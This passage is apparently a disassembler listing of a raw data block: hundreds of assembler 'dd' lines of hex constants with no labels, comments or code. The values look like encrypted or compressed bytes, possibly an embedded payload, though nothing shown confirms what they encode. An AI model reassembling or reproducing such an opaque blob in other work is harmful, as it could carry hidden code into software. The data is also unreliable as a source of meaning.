		dd 94338A9Dh, 0B7C02B8Bh, 0C7BF80E9h, 99A46EDCh, 8CA3590Bh
		dd 0DAC755E5h, 0FF82B0EBh, 681A3F80h, 4B71C558h, 12AC9A3Bh
		dd 9588DA8Bh, 530D0014h, 6E8409A1h, 904C30BCh, 56D809CCh
		dd 60B77591h, 0F848FA00h, 1D0B01Ah, 296ED4A2h, 7A22E995h
		dd 3D70698h, 9BA46055h,	33E1C68Ah, 0B6AD7A8Bh, 9F575F2Fh
		dd 611596D4h, 0AFB465ABh, 0A72F5E52h, 1B918035h, 799EDC80h
		dd 7A13F27Fh, 6BABFFEDh, 261D2305h, 2D92049Ah, 3AA2809Dh
		dd 6B07D57h, 4814144h, 48988ADBh, 12CBEA2Ch, 0C73018B2h
		dd 879B133Fh, 201AE803h, 0F8294E08h, 0DE8A84DFh, 6FA2FBB8h
		dd 3EF38120h, 848B4E10h, 387BFA15h, 823E3000h, 7A7B8F0Eh
		dd 60F11A97h, 9BE1FF19h, 0B51A780Dh, 0AE0F0A7Eh, 21BB60CEh
		dd 664C9E3Dh, 2C0BC1E8h, 60456123h, 20FA6E9Ah, 0C54A6825h
		dd 3650BEDh, 1F4087Ch, 3E6605AAh, 6F1D80F8h, 0B7C41AB8h
		dd 0A3E8B8D9h, 12237748h, 0EA0825B5h, 0FF161C8Bh, 9ADBBC02h
		dd 492FFE27h, 24CE4F5h,	0D90E8429h, 0C5605260h,	5F812701h
		dd 0FE1052Eh, 6A29B582h, 173904C1h, 2DB6C104h, 0E1801108h
		dd 0CB6F2Ah, 0E1549DE6h, 97FA1CADh, 81FA126Ch, 0C1A8124Eh
		dd 0AB13C6CEh, 47E7B7Ah, 0E8EF5574h, 60DA4F14h,	7A9B3493h
		dd 4859011Ch, 89465A91h, 21346E1Dh, 648FE3C0h, 5F082703h
		dd 0CB7CB0D7h, 352EE916h, 0BF85C4F0h, 0CA31431Dh, 103226E5h
		dd 8B45681Dh, 84DDFF46h, 78B8EB96h, 0D832BA0Bh,	14616461h
		dd 0F064E7AFh, 393D3F99h, 2900832Eh, 31605CE8h,	17BAD585h
		dd 0B58B5609h, 5809401Dh, 0CC6EB561h, 72881EFCh, 68F8201h
		dd 0AA778472h, 0DA4F769Bh, 0E28806Dh, 176E8EF5h, 0D3489166h
		dd 579FB704h, 0EF7359B5h, 342EACD9h, 0F602FF3Dh, 74FC0689h
		dd 1746D611h, 514B3A05h, 578E1CD2h, 2F30AA06h, 9D5096DFh
		dd 0B9E0E2EDh, 0FC4E98h, 2362517Bh, 0AD1BD89h, 0D98DC5C9h
		dd 5FEB8406h, 5B56B86Ah, 96EC8EE9h, 2528020Bh, 45000248h
		dd 2C070B1Dh, 0F468D06Ch, 0E15FCAC0h, 0EC6F5AC9h, 20819DABh
		dd 0A116F1B9h, 55043368h, 905F5B93h, 54430B75h,	298D1E4Bh
		dd 0F56C322Bh, 52788455h, 0C9F25CFBh, 957261D6h, 0B8E239FFh
		dd 0B89F24ABh, 0C9BD04C9h, 62B18A18h, 624ED90h,	0D92DB861h
		dd 729D5467h, 960BCDDAh, 0BFCB99h, 3139E352h, 2766025Ch
		dd 6F2A470Bh, 543409FFh, 41E9D047h, 47F4C2E1h, 31E804DEh
		dd 0C3DE8B5Dh, 0BF4ACDE2h, 0A0756FFBh, 3F2325C6h, 0A85AD5BDh
		dd 9053F6A8h, 7092565h,	0A0110BC7h, 2B1A285Eh, 0F51BD13h
		dd 0B39BCAEBh, 0C96E8BBh, 9AB102FCh, 8D8972FEh,	805AC8FFh
		dd 0FD085FEBh, 0C229AD7Dh, 0C2497B8Eh, 5D6645Fh, 1EDBFBBh
		dd 5E6BA0Ah, 8049E9A4h,	406561FEh, 2A933C19h, 0DEB42330h
		dd 0C49D6096h, 1E1000EDh, 0C151AB7h, 7135985h, 72A684B3h
		dd 0D7A5627h, 56B5617Dh, 0BF964427h, 41C5ADDCh,	2198011Eh
		dd 0FB742B25h, 0B8137FF8h, 72F5AC67h, 0FC95A4ACh, 8EFE8062h
		dd 80D0BEA1h, 0EBB58507h, 0E96344A4h, 2E01882Ch, 5BB4251Fh
		dd 46D691FEh, 0D77E0119h, 83941EAFh, 4A762030h,	0F9F1C588h
		dd 0C465ECFDh, 0FA767C4Ch, 0D7F07FF7h, 0F012C5EAh, 0A3044A7Ch
		dd 0C2442D55h, 0B841B904h, 56591272h, 1190BF60h, 0B5A268CBh
		dd 1D64B24Dh, 0CD51AC60h, 0A029800h, 0D2AD27E8h, 19D2E0Bh
		dd 0CBBF81A8h, 6A2445EDh, 8DC7C2B8h, 5149F8D9h,	3F0454FFh
		dd 0B086FAFCh, 567DB3C2h, 84F752FFh, 0A2EE9650h, 0BF50015Eh
		dd 76B0F907h, 0DCAEFEF6h, 1806B001h, 91D89AE3h,	473A053Ah
		dd 0BA6A25BEh, 9577C6A3h, 5C4EA494h, 0B7EC04BDh, 38E89500h
		dd 7F2047F1h, 0F0DB6B53h, 0F50897DCh, 0BC50132Fh, 0CAEF9605h
		dd 0E00C05BDh, 1ACCD784h, 123A1E36h, 705F9Dh, 0AAEDA701h
		dd 615A602Ch, 0B38EBCA8h, 9F9FAE76h, 138369C0h,	0BD054BA6h
		dd 340C6E14h, 0B0D427AAh, 99CE1E09h, 668D5325h,	5AFC77F7h
		dd 0F8C3F9B5h, 34E1003Dh, 0B734361h, 0FC5AA963h, 0FFD282FCh
		dd 0BBA90E74h, 0F3F8DBA8h, 8684D309h, 44197142h, 29F9431Dh
		dd 55259A9Dh, 0BDEC3F4Eh, 4A7AE559h, 14FCB40Ch,	0B6214A55h
		dd 0E9D8C14Eh, 0C17BF483h, 0E91EC7E5h, 0F0B326C1h, 1308A1F0h
		dd 0EB8A602Eh, 23EDC485h, 0C40061ECh, 1FDF3999h, 2D32187Fh
		dd 7D792937h, 0D5B4C225h, 1ED0C7F3h, 0A4960B8Ch, 0A8441F41h
		dd 0BCC43E00h, 630E6EA6h, 0B21A0142h, 0BD0B357Fh, 8D9A2054h
		dd 0DFA9134Bh, 3B7831F9h
		dd 0AE5A1CA2h, 0A42F326Fh, 419519B0h, 0C0001441h, 97D5FC32h
		dd 0EBC04384h, 0AE021C6Fh, 5C03A336h, 90AC8B57h, 0F3B1F9Fh
		dd 0C2EA8242h, 0C02E5F7Fh, 0E6FDBA45h, 0D1A22B94h, 0DC14EA5Fh
		dd 0AD02DC64h, 0D77C8B4Fh, 87DBD76Ah, 5E857170h, 5A7DA32Ch
		dd 0D0A7BCE7h, 0C08DFCCh, 0BBB10E02h, 5012EC26h, 0B51EE256h
		dd 0B490B64Eh, 981AB395h, 20DFF2DBh, 3AC55079h,	38AA17EDh
		dd 0BF887F73h, 704A3EDCh, 0A066B74Ah, 0F4CB1E7Ch, 0BD352C41h
		dd 471260Bh, 0EB2C0D85h, 7424500Bh, 5C95DC1Ah, 0B57DA511h
		dd 0C0CC25E1h, 0E6BA8400h, 35E3296Bh, 60F60917h, 43562BE9h
		dd 71213C71h, 0C4C69B6Ah, 9FE4D30h, 0BD771ED5h,	125A1F36h
		dd 5FEAB39Eh, 53895884h, 0F65A6572h, 21418F3Ah,	0B61353F7h
		dd 59DA207Bh, 9515EB64h, 5BD05BC4h, 0E37F0B89h,	0DB950086h
		dd 7782F18Dh, 896B1C86h, 4DBD8A48h, 0BF5B96C5h,	95F906C8h
		dd 0E874EDB2h, 2BCF0E6Bh, 139CFF20h, 0C3401382h, 5B9D168Dh
		dd 87D3007Bh, 722CE70Bh, 0DE12EA24h, 931AED60h,	0D94CB53Dh
		dd 2BDB6EEFh, 488DEA92h, 2F35C22Fh, 0FD8F0BDDh,	994A87C4h
		dd 0EBCE37B2h, 72BF0711h, 0BF0EB03Eh, 51172140h, 1CE470E6h
		dd 0D39D0371h, 532AA0Ah, 126ED9CEh, 5ACCB3BDh, 0DEBA08C2h
		dd 16F962A3h, 0B589C121h, 804AFA3Dh, 659D099Dh,	0BC9FF9B7h
		dd 8758588h, 9E43734Fh,	7E2A61B5h, 25D8C64Bh, 8544CD22h
		dd 8D952809h, 0C23FF713h, 9B5649C7h, 375BBF01h,	10B5307Dh
		dd 1F790B9Eh, 11644554h, 1B2D1C58h, 965561C8h, 0FC12FF01h
		dd 2E6290A7h, 0B9900C79h, 4CB532D9h, 5234444Ch,	23ADCAC4h
		dd 8C5B5B09h, 0EDA902Dh, 27E72CDCh, 82A3285Dh, 82D965h
		dd 0D3D0A74Eh, 0B4097F2Bh, 5B320F66h, 7DCB089Ah, 5140E02Fh
		dd 0AEEFB5C5h, 9316940h, 2F4545BDh, 0B707AEE6h,	5BA6B9FBh
		dd 0B3DBE148h, 7FC11D4Ah, 0A83EB509h, 499C779Dh, 2AE702DCh
		dd 6952360Fh, 4E4173F4h, 70F8DF51h, 9EE3003Ch, 80B1E2B6h
		dd 37BDC02Bh, 3A26002Bh, 17B47E62h, 0CC9F5F07h,	5F29F88Bh
		dd 0D22BB4E8h, 8C7B79Fh, 5D09DB4Eh, 0F0CF5F27h,	42352Fh
		dd 46023C01h, 0F5569D61h, 0A7EBB57Fh, 5C884A3Fh, 0CAECA060h
		dd 0FD3A48D9h, 25267910h, 0D669D461h, 56001D46h, 656E5F60h
		dd 0CD020F07h, 0BD317EF6h, 46FD85Dh, 0DC5A90BBh, 0D253AC11h
		dd 8A4A74F8h, 0FC8AC525h, 0F325DA6Fh, 0A359F5FEh, 0B178F72Ah
		dd 0EBF4C102h, 2C5F0E23h, 0FB12B868h, 0BE5AAD7Bh, 7F384F4Bh
		dd 480C6BE1h, 0FB9FF991h, 8D735A2Dh, 94B5C403h,	0D95C2770h
		dd 0E14A98D2h, 0FFB83CB9h, 20E09D4Ah, 0E747B50Dh, 57257B11h
		dd 0E5BF6D70h, 41C5B83Ah, 2B117146h, 0C23B2438h, 6092B727h
		dd 0C8E2024Dh, 0BC66E2h, 3AF8680Eh, 0CAE478C4h,	0FE52E025h
		dd 0DE8B89FEh, 0E7E62458h, 0BAF98A4Fh, 837EDBD7h, 0A0E0A1D8h
		dd 16CA7A51h, 81F95CA6h, 7CE2964Fh, 7AEA5BFAh, 538E2548h
		dd 5811ABEBh, 1627101Eh, 0BF79B2h, 0AA25D20Ch, 0DC00BF94h
		dd 9D9195E6h, 1D5A5E5h,	609C8447h, 5075B58Bh, 3EB966DEh
		dd 5B61D316h, 224A09BAh, 2B2DDDF1h, 27B546BFh, 10FD585Ah
		dd 83616078h, 904B047Ah, 0B1000F6Eh, 0E4717948h, 8B342E7Dh
		dd 0B80248FBh, 40FF0EEFh, 503C8AD8h, 9BF3C45h, 6DF88F03h
		dd 47221055h, 0B8235F89h, 26A91352h, 231F6FAAh,	332F001Dh
		dd 9F4EF5Eh, 0A7C6F13Dh, 264651D2h, 5DC8E05Ch, 0CE02F4BEh
		dd 2975D697h, 46F8FF9Dh, 655F09A2h, 5D03BF40h, 9AC44CCDh
		dd 8DDEAFCh, 97F94460h,	49E9AF22h, 530BD25Ch, 91095D66h
		dd 0FDBAA9FDh, 0E98EA8BDh, 3B7E80F4h, 4B514C93h, 2708B229h
		dd 0D644545Bh, 2001B46h, 0BA7E70D9h, 764F0A78h,	21525C2h
		dd 95D577B7h, 9594030h,	8200346Ch, 0BFFE295Ch, 4AB7A2EAh
		dd 0BBDCCC22h, 0BCE70F02h, 0F6068966h, 0CDDA407Bh, 9B004813h
		dd 0B169D12Eh, 2D253EDDh, 355DDE8Eh, 601C12E9h,	5EAE916Fh
		dd 2DEBFC00h, 8A26A59Ch, 0F18995DCh, 6B74A80h, 961371ABh
		dd 34BB5057h, 76C0BBF6h, 0A605EAh, 6E6C5B85h, 377D6F74h
		dd 0F28E23Dh, 0B77C38ADh, 505F93D1h, 5B094591h,	0F2A4C2ACh
		dd 51037837h, 7DBAC554h, 0E85EF3D4h, 12EDBD1Ah,	535F3C38h
		dd 0B89BFF1h, 0FDD5C978h, 0DE0A9624h, 34D03207h, 0EEF7DA86h
		dd 4083567Bh, 0BD5DC1B3h, 0E919C600h, 674BE3BBh, 0FE5B4A3Bh
		dd 1031F461h, 54EA5A10h, 0B7A02F63h, 0F0A44313h, 57DC500h
		dd 4B7BEE7Fh, 85093007h, 0B8A4DC74h, 7FA520CCh,	0BA2F48E9h
		dd 0E70CF512h, 47BB002Eh, 0F39727Dh, 6CD49F81h,	42C56CE0h
		dd 0F0C1001Ch, 0B37E9BB8h, 6E4C52CDh, 0F7BF01A8h, 5F151671h
		dd 336B307Fh, 700CA65h,	0CF4C7EAAh, 1F53F20Eh, 47127BCh
		dd 0F990C3EBh, 7E63B837h, 1C10092Dh, 2870880Fh,	0BD33DF04h
		dd 8FCE0D51h, 26306A5Fh, 0B80044DAh, 0E6BB61CEh, 11B25ECh
		dd 100116FFh, 0F425C5BDh, 0FA8C52FFh, 29148F6Eh, 0F85B7EE9h
		dd 90D3EBFCh, 14AFCDCCh, 6BCC1000h, 5404610Fh, 0A840004Eh
		dd 0E45FB6C5h, 14974793h, 9DC87455h, 280269BDh,	96F59312h
		dd 4B9C69C5h, 87C7BF81h, 3FF22FF1h, 6D95C8A8h, 60596874h
		dd 926B91DBh, 0F7815201h, 6003BE38h, 0D2C5B83Eh, 0F04F57B3h
		dd 968123F1h, 991FD920h, 0BB668262h, 0F9D5C3AFh, 4475A540h
		dd 0CDE42Eh, 6E4CEF26h,	82908114h, 25C0799Fh, 0A04FF479h
		dd 0C891E620h, 38F500E8h, 2DCF4174h, 0DD0B09F8h, 0CD96B9C6h
		dd 0E4C1C122h, 51E22FCDh, 809BCA8h, 0B1F5463h, 0A702A8C6h
		dd 0E97A3005h, 86E767FFh, 410F3F07h, 5A6574Dh, 0B85790F6h
		dd 96E79EABh, 50C5E601h, 0F03E9A7Eh, 4EB51901h,	3B75BC8Ah
		dd 0D374B24Ah, 0DAA82AE9h, 56077125h, 0AAF5173Ch, 270964DCh
		dd 31FEE5B5h, 0F1028369h, 50810922h, 68FF2320h,	12D3BFA5h
		dd 0E356C799h, 0D5B05B54h, 4960A010h, 345CBF14h, 2F5BBDCh
		dd 13F0622Ch, 62A0BFFh,	974AD898h, 13C249CDh, 9331D5C4h
		dd 2E32C5BDh, 85294C70h, 0C51E6F7Dh, 853BA93h, 0BEA117FBh
		dd 8F804A9Bh, 0EF42B6BEh, 0AF68F6B7h, 344D6F62h, 0BA6115C4h
		dd 11D82A47h, 0C8CC09CFh, 74727022h, 0EB63DB5h,	16A06E55h
		dd 494A65B3h, 8CE5D028h, 0B6FC255Fh, 9E5C36F2h,	523D1FF6h
		dd 602397Eh, 64E3224Eh,	2088D68Fh, 0BA01FE27h, 0D5B5177Bh
		dd 0C6FAA16h, 6300D057h, 4F7B62B9h, 0B53A0109h,	209D44C9h
		dd 45A32185h, 0BA557BC2h, 0CCB55F6Fh, 45F3EF02h, 15C90BDh
		dd 54ABB59Dh, 49736D55h, 5697B1ECh, 6D58602Ch, 0ED5E9D29h
		dd 0CA5939ABh, 0E809D3F1h, 9276713Eh, 0F871E0F9h, 58B0FC95h
		dd 0CD45E9FEh, 92159802h, 2C8BF79Eh, 995FC509h,	0F728FB16h
		dd 69DE4780h, 9A009250h, 843FEA11h, 17118D4h, 0FC345675h
		dd 6B7B9719h, 529EF1E8h, 9475AA03h, 7E8BA0EEh, 0BC55C2Ch
		dd 0BF297725h, 6B01EA82h, 7EC9457Eh, 6EC840B1h,	810079B8h
		dd 33B47A03h, 0A068A14Dh, 4A0DB571h, 0B4328558h, 7141CBEh
		dd 4E12860Fh, 0C409C7FCh, 0B3834DD5h, 7D0F23C9h, 6940EAC3h
		dd 0F1F90743h, 9621F390h, 2C2F58A3h, 986DCD24h,	0DB13853h
		dd 5C048F80h, 0C9004807h, 0A9B6936Ah, 0F8A0E883h, 0CD1FF5E1h
		dd 0F8C55E17h, 0BD1695CCh, 7C6E9010h, 9DA5D204h, 13A246A8h
		dd 6F9EDA0Ah, 0F18100B9h, 74D48BE6h, 4041E96Eh,	905406F4h
		dd 0AA435B7Fh, 0CCF25C00h
		dd 748BC19h, 39D19B02h,	0B6DC8052h, 0B3000614h,	0FB2749C4h
		dd 1FFD334h, 0CBD5AD3Fh, 0F4550431h, 4500DB50h,	523A2C19h
		dd 0E914B375h, 0CFA1194h, 0F8115106h, 0DA015835h, 21AB740Fh
		dd 0B5E84F9Dh, 5F29C064h, 531E7BA4h, 1FAAC906h,	311956A2h
		dd 19483195h, 8062E117h, 0ED29D130h, 6DBDAE4h, 89B4B2E1h
		dd 5300A809h, 0C72B2859h, 1FB12E49h, 800E62E5h,	8A7BA055h
		dd 960386D9h, 2F172112h, 0AFB103E2h, 9291DA2h, 378E2010h
		dd 5A8A3E78h, 59BCBE80h, 0DF562ECAh, 19D91661h,	2E4F5A9h
		dd 7B11C039h, 3C359EAFh, 2BFEB971h, 83619DEh, 13FA070Ah
		dd 0AD50A699h, 0FE19150h, 29B4EE06h, 9700C836h,	0EC92FA81h
		dd 60A4E4C5h, 96DD190Dh, 26037D8Ah, 7C09E517h, 0D9083E19h
		dd 0B8397618h, 0DD0706B1h, 282E2D9Eh, 0A43A5280h, 0C294401h
		dd 50138000h, 153685B3h, 87566ABh, 6A002144h, 0D1FD1388h
		dd 74625CACh, 0B03154B3h, 0D2AE18DBh, 0B4ED6817h, 180D5931h
		dd 8C464B4Eh, 0D27D1590h, 3200EC53h, 0D97AE94Ch, 3619106Dh
		dd 6B0855D1h, 44972180h, 95E50EE9h, 9ED55100h, 24B8910Dh
		dd 0D39C0169h, 60AED445h, 4E985458h, 4A8F50D8h,	1A1136ACh
		dd 82D8A90Ah, 3006C0B1h, 600896B9h, 0A1792145h,	53EF8D8h
		dd 2EA69833h, 20A4E5C0h, 0B8C82815h, 0E952C07Bh, 5D46D980h
		dd 910E6722h, 0C76DE94Ah, 5DF6D6F8h, 6E370019h,	874BEAA5h
		dd 4500DD28h, 3DC7BF1Ah, 1013EACh, 0DB816820h, 2035CEE5h
		dd 0AE1BA24Ch, 6E06164h, 80BEECD8h, 0AF001036h,	0BDE00112h
		dd 5CAE70h, 0F739A3D2h,	866826E9h, 0E4599200h, 2F1D79Fh
		dd 250100E5h, 6C17A3B9h, 4F00401Dh, 0F2483B7Eh,	6E4DFBh
		dd 0F556CA49h, 0E930B2D7h, 8BD6381Eh, 73D31E80h, 5A78Eh
		dd 0E1B9FE7Ah, 28C455C7h, 0A4C91900h, 0EF844969h, 0ED0C0EDh
		dd 32A50A9Dh, 4A006BE4h, 0B6BCE8F5h, 0E331F9h, 682B4107h
		dd 967AF417h, 0ECAB0C00h, 0E7D194DBh, 0B96A3A60h, 0BB91F100h
		dd 32DAB11Eh, 960E1B1Dh, 0C4082359h, 16F82180h,	8B7E11B1h
		dd 2F097600h, 0B76121C8h, 896E01A2h, 59EE98BFh,	0EB3084EAh
		dd 9B87155Bh, 0B1104Ch,	947A601h, 10EDC308h, 9908F866h
		dd 1ED37D21h, 4EC726A6h, 37E341F5h, 600803FCh, 9F4C9E70h
		dd 0EC1F3856h, 5B993060h, 0E218F20Dh, 0C711E653h, 301EE48h
		dd 0B7B64570h, 8302D68h, 612621DDh, 0FFFD1353h,	0AE89006Ah
		dd 0D0277EE2h, 0E8700A60h, 83C0B16Eh, 139C47E0h, 0C36D18C6h
		dd 9E7A0CD8h, 0A2097D8h, 0FD8E1C00h, 0EFF78A39h, 0FAAD001Bh
		dd 7EBD066Ch, 0A800E02Fh, 9DB7B1FBh, 4ECF93h, 72D969ACh
		dd 0BEE3204Ah, 0DFA2D500h, 1CEDE5E7h, 92933DDDh, 2F756580h
		dd 55C54082h, 4C181916h, 0A00FD20Eh, 7C6DF109h,	0A0560044h
		dd 0C594B30Dh, 10FC781Bh, 3800BC74h, 0D7E428DBh, 55AB08h
		dd 9E3C8C23h, 538E9C5Bh, 0B582C400h, 7F77DFF2h,	88BF0F87h
		dd 2C8741A1h, 26892080h, 8100F6CDh, 0FA9DACD3h,	0E39E67h
		dd 0AA8A2155h, 3B92E1C0h, 0A4C59702h, 40F3C9F6h, 78F89381h
		dd 0B0802C8h, 14356966h, 5C3DC8C0h, 0C339750Fh,	0CD9FA061h
		dd 0F1B4ABh, 0EE8B8968h, 83029E46h, 0D600BB71h,	0DBE6B787h
		dd 0BDA1C9BEh, 10E0AA60h, 0A4CE6C0Fh, 0E4680FFh, 9029DB0h
		dd 0B889EC7Ch, 9C38E400h, 0B7079F12h, 9354D00Ah, 0F3F95FF0h
		dd 0D7DC0FDDh, 3AC717FCh, 3F55507Bh, 75008291h,	451FB5ECh
		dd 7195BDh, 3B078DB2h, 7D927B84h, 0E200E472h, 0C2DDAE2Fh
		dd 4A218Bh, 0AA01EBA6h,	94F7A86h, 773C9D04h, 0B28078B7h
		dd 0EBE3428h, 3114AF5h,	4F826B80h, 0D8162C69h, 3400B6C1h
		dd 0C979F208h, 856C0035h, 7177B137h, 993BF5ABh,	214780FEh
		dd 0FD83572Dh, 0CFFA0068h, 0DA79C17Ch, 0C600D67Eh, 1EE441C2h
		dd 0B34E37h, 5AB3080h, 270FD15Bh, 0BA6A2400h, 56DAE72Ch
		dd 0EE791DA7h, 80B9DF16h, 3AB4B58h, 8974C073h, 60C14CFCh
		dd 2F9FC8A8h, 0ADA3FF8h, 982CC1C4h, 0D1D503E8h,	40F734C2h
		dd 0BCD97FC9h, 5F00ECE4h, 0D3AEA0FCh, 751214h, 0DEB3284Dh
		dd 4BB19EB6h, 40C095FEh, 45D8D56Eh, 74DC004Fh, 7040F2A2h
		dd 10E47EDh, 80DAA651h,	0ACC1C8CFh, 54A5EA19h, 29D44Eh
		dd 0C2E98393h, 0D57C38D8h, 0AE003B71h, 0DDBA54DAh, 9751DFh
		dd 1BE252A7h, 0EA719C20h, 1FE4A0B8h, 310C3907h,	1050C3BFh
		dd 781D75h, 0A5AB69E5h,	0BCFBF877h, 792BF607h, 506024B2h
		dd 3B3F63h, 0CE932258h,	0E988B8E5h, 0C5192A00h,	0E8E378A5h
		dd 72C80083h, 1D2CDC1h,	0D0C3058h, 50E091E7h, 7506000Ch
		dd 3AB85B9Dh, 3F545C73h, 0C3009796h, 93F91987h,	5C4337Ah
		dd 99F8C538h, 3B4006Eh,	3B90D834h, 14000DECh, 36D632F5h
		dd 172B885Bh, 0E9757Fh,	153EF782h, 0AC54CE82h, 1C0097BCh
		dd 96B02683h, 76F9086h,	7CD866D4h, 0FBD9B0DEh, 3C909968h
		dd 6298CF03h, 98EEF2BEh, 24FC8815h, 6DA26Fh, 0E2F5E9AEh
		dd 760FB4EFh, 0A11BD8F6h, 27DB53D7h, 0DB66880h,	810064Fh
		dd 1A18C112h, 0A3B11C00h, 3387B5Eh, 37D3D1D7h, 1BB87D1Dh
		dd 0D200C539h, 71322678h, 30FDCE65h, 0B0F0F8F5h, 79032F3Fh
		dd 1CEBDCD4h, 0BCAA8074h, 44A00713h, 3220F553h,	3848CFBDh
		dd 4BF4C44Eh, 0DE6B5700h, 75E30F99h, 0A524095Eh, 0FC00E585h
		dd 334C696h, 152C0B5Ch,	90FD7Eh, 32F2AFEDh, 7378470h, 1331DB0Dh
		dd 7FA2F0DAh, 11C83D7h,	0FBC9C6h, 0DB6CCE81h, 18AFB8Fh
		dd 52D9F0B5h, 4394F72Bh, 40E4D3D8h, 0B6EE33DCh,	0C91003Dh
		dd 84FCDE17h, 94030944h, 39B718C4h, 1DD08FEAh, 74C3D5h
		dd 0B2295563h, 0A2D289B9h, 39B6100h, 621C1D7Ah,	3BE7F16h
		dd 0AFA83458h, 6607EF0Ch, 0E68F247Ch, 0FBA4B1C1h, 0E86047F4h
		dd 21B0018h, 0B31C1E27h, 0CC00D2C4h, 5C7D9855h,	5CE4AC9Ch
		dd 600ABFEh, 0D48BB65Dh, 31008E8Dh, 26EF7669h, 89BF24h
		dd 62532A6Eh, 0D5EB10D7h, 8E8C549h, 0F6B13BBh, 879DBAC1h
		dd 0B7196DB4h, 4ACB0EAh, 473B90EDh, 70A1002Ah, 0E8C048E7h
		dd 205A1867h, 0C2717822h, 0BFA57701h, 27DC54D6h, 1E41B420h
		dd 400B6BD1h, 17AA61F7h, 3F2C5EF6h, 0DB03BE5Ah,	0D2DE2734h
		dd 0E08C8F58h, 24C43AEDh, 60920096h, 757748Bh, 8028503Fh
		dd 64009170h, 0FFC95F51h, 7FA46C2Fh, 697C003Eh,	1466D54Fh
		dd 88987AA6h, 0C1F90200h, 4EF6EAE5h, 983C008Ah,	14E98007h
		dd 35008BBFh, 0B4CFF9FBh, 8151A8h, 0E62AAFABh, 1627724Fh
		dd 860392F2h, 0B35DEA2h, 62ECD055h, 0FB2D5CAFh,	0A96D8900h
		dd 0E7664E19h, 35C46C00h, 9264CC7Fh, 0A0B000A2h, 78F436DDh
		dd 0B800FBB7h, 30556B02h, 9739F3h, 6D2008C2h, 0C36003F7h
		dd 2937B01h, 0D5A6D210h, 1A8F420h, 0B343B583h, 0C0FC1211h
		dd 0CD4DDB56h, 7C4CB0h,	31B61807h, 5B2EAACh, 538A88BBh
		dd 0C01DF0A4h, 0E09F6932h, 520E40F0h, 109960F7h, 0C4AD7B86h
		dd 0A3F10400h, 9FA60DEEh, 7445006Ch, 89E9C1BFh,	20022E81h
		dd 7DB42725h, 0FCFC4073h, 3E460E57h, 21A17CB6h,	0C4BCD8FDh
		dd 0F003475h, 99285F88h, 61C77F1h, 91FAC0EEh, 0DD00B1FBh
		dd 0BB296C8Fh, 406F4B7h, 3175E617h, 8A880ECh, 500793Bh
		dd 846194F1h, 0EDA880h,	0C788ADEBh, 0C2B0FDF3h,	9D8CC01h
		dd 92ACCD45h, 84245821h, 0A5750002h, 0FD4F88DFh, 0A8034101h
		dd 941A4985h
		dd 38B198DEh, 0B5A40EE9h, 0FADC7FF6h, 0C60BA00h, 0B747F136h
		dd 0F4A9E504h, 2080D76Ch, 1D0B5BFh, 9A274EC8h, 0C032CDB6h
		dd 2B00453Eh, 67BC3B10h, 58CB9Bh, 4E346680h, 6CBA3041h
		dd 283158h, 0A07C3640h,	0EB9F269h, 553DC3A6h, 14EA77C0h
		dd 7200885Ch, 0F013FC24h, 0F89359B2h, 0C8B1C9Ch, 0CB148397h
		dd 0AE001879h, 0ED3A2A55h, 13639A93h, 41025Ah, 0D5C31BCEh
		dd 24007B72h, 4C86EE95h, 0B3B1B2h, 0DFFE28Fh, 749D471Ch
		dd 0F31BDA0Eh, 0D6BD0091h, 6226EDh, 6C228B95h, 9CA9E11h
		dd 2950CD05h, 2FC192EBh, 0BF60326Dh, 7447000Fh,	423E3D04h
		dd 4D00867Ah, 976E4BF8h, 0F7B6C82h, 3DB945C0h, 0B0BA70A0h
		dd 93176B5Eh, 88007EF6h, 0B663F388h, 68A600F8h,	2AC436CCh
		dd 66006E78h, 0F95015A9h, 95B8709h, 9B47465Fh, 0C1C7FC80h
		dd 0AD00E32Eh, 0BF73F417h, 3F5EC3Fh, 7A269130h,	9BF08CDFh
		dd 0C400567Eh, 0F2709AF3h, 1D4351A6h, 5B0E9Ch, 0F6DA2D54h
		dd 0C8047123h, 9305BB35h, 6F014490h, 0E9340024h, 0F5C63E91h
		dd 2507DEF1h, 77FCC98h,	65103237h, 0B90F55h, 5C707813h
		dd 177A2BF3h, 0D8444E00h, 9CE6DAB3h, 0C1DD054Fh, 0C4EFDFECh
		dd 1674D34Bh, 901F72A0h, 1D2B1C19h, 75D04008h, 94B0307Ch
		dd 0FD4D1589h, 910B2CB2h, 8EDF741Ah, 22C58F13h,	8056158Ch
		dd 94957D10h, 530D071Ah, 402CECCCh, 62553069h, 0E014B31Fh
		dd 0ABA8A80h, 68251F0h,	6A97A9FAh, 8D0798D0h, 14D54C70h
		dd 53C5F3F0h, 8171843h,	0B81D8895h, 9413D790h, 0EA00FCB7h
		dd 986F77B4h, 533400ECh, 0F610DA07h, 4E12B7E4h,	900D32F8h
		dd 0EFDC9872h, 1A7CA052h, 82A0CC2Dh, 1428C908h,	973E14BDh
		dd 0AA059C1Bh, 0E70FB640h, 7FCE8690h, 0FA580F73h, 0CC60D78Eh
		dd 5381C02Ch, 0D5E32000h, 0C6F543ECh, 123F4C0Dh, 23158300h
		dd 5D4D55BBh, 4A11FE00h, 390AAF70h, 0BE4F071Eh,	30C5513Ch
		dd 0FABBC815h, 0CB2A1D01h, 0CD0E72DCh, 0E14FCCh, 704B6A65h
		dd 32340F93h, 0DB21A00h, 821045ADh, 57370078h, 35CBA528h
		dd 0A60FB71Fh, 0C09D2133h, 0F1EE850Ah, 2B0B0EE2h, 7F80AF60h
		dd 1281FF50h, 42242C1Fh, 51B00447h, 0F30CA70h, 0E5CD00DFh
		dd 204ED147h, 0F1001943h, 984283FCh, 2AC86F72h,	2EF4FE4Bh
		dd 3ABE4718h, 97743283h, 828337Bh, 38F6C821h, 65533F03h
		dd 0F453B4Dh, 0C7C04B6Ch, 83759BA0h, 0BE7773CBh, 78974824h
		dd 0BDDB7840h, 0D81D0646h, 915731Ch, 60218B6Fh,	0A770BDC3h
		dd 3CB7E00Fh, 7988EA0Ch, 98009A16h, 0E67F8FEEh,	1B2E044h
		dd 0C0256D11h, 815D0B91h, 0F3D27B98h, 80A29A2Dh, 1B6E26F8h
		dd 454E0F8Ah, 25E3F921h, 4B504289h, 11BDDC30h, 88B01D47h
		dd 0C4D58084h, 0ED87E2BDh, 0F90191DFh, 0CC714903h, 804A5191h
		dd 1D44BDDDh, 8E448CC8h, 0BDC500D6h, 3F9BA085h,	7700E7A3h
		dd 0CD5FEA0Ah, 3001A9F8h, 0EEE01CDDh, 0A40095B8h, 3FA09BC4h
		dd 21085Fh, 20B610E1h, 948DF17Fh, 1903DD0Eh, 0DE7360E6h
		dd 3818FAh, 46885FD2h, 51087020h, 0D7EEB200h, 4CC96626h
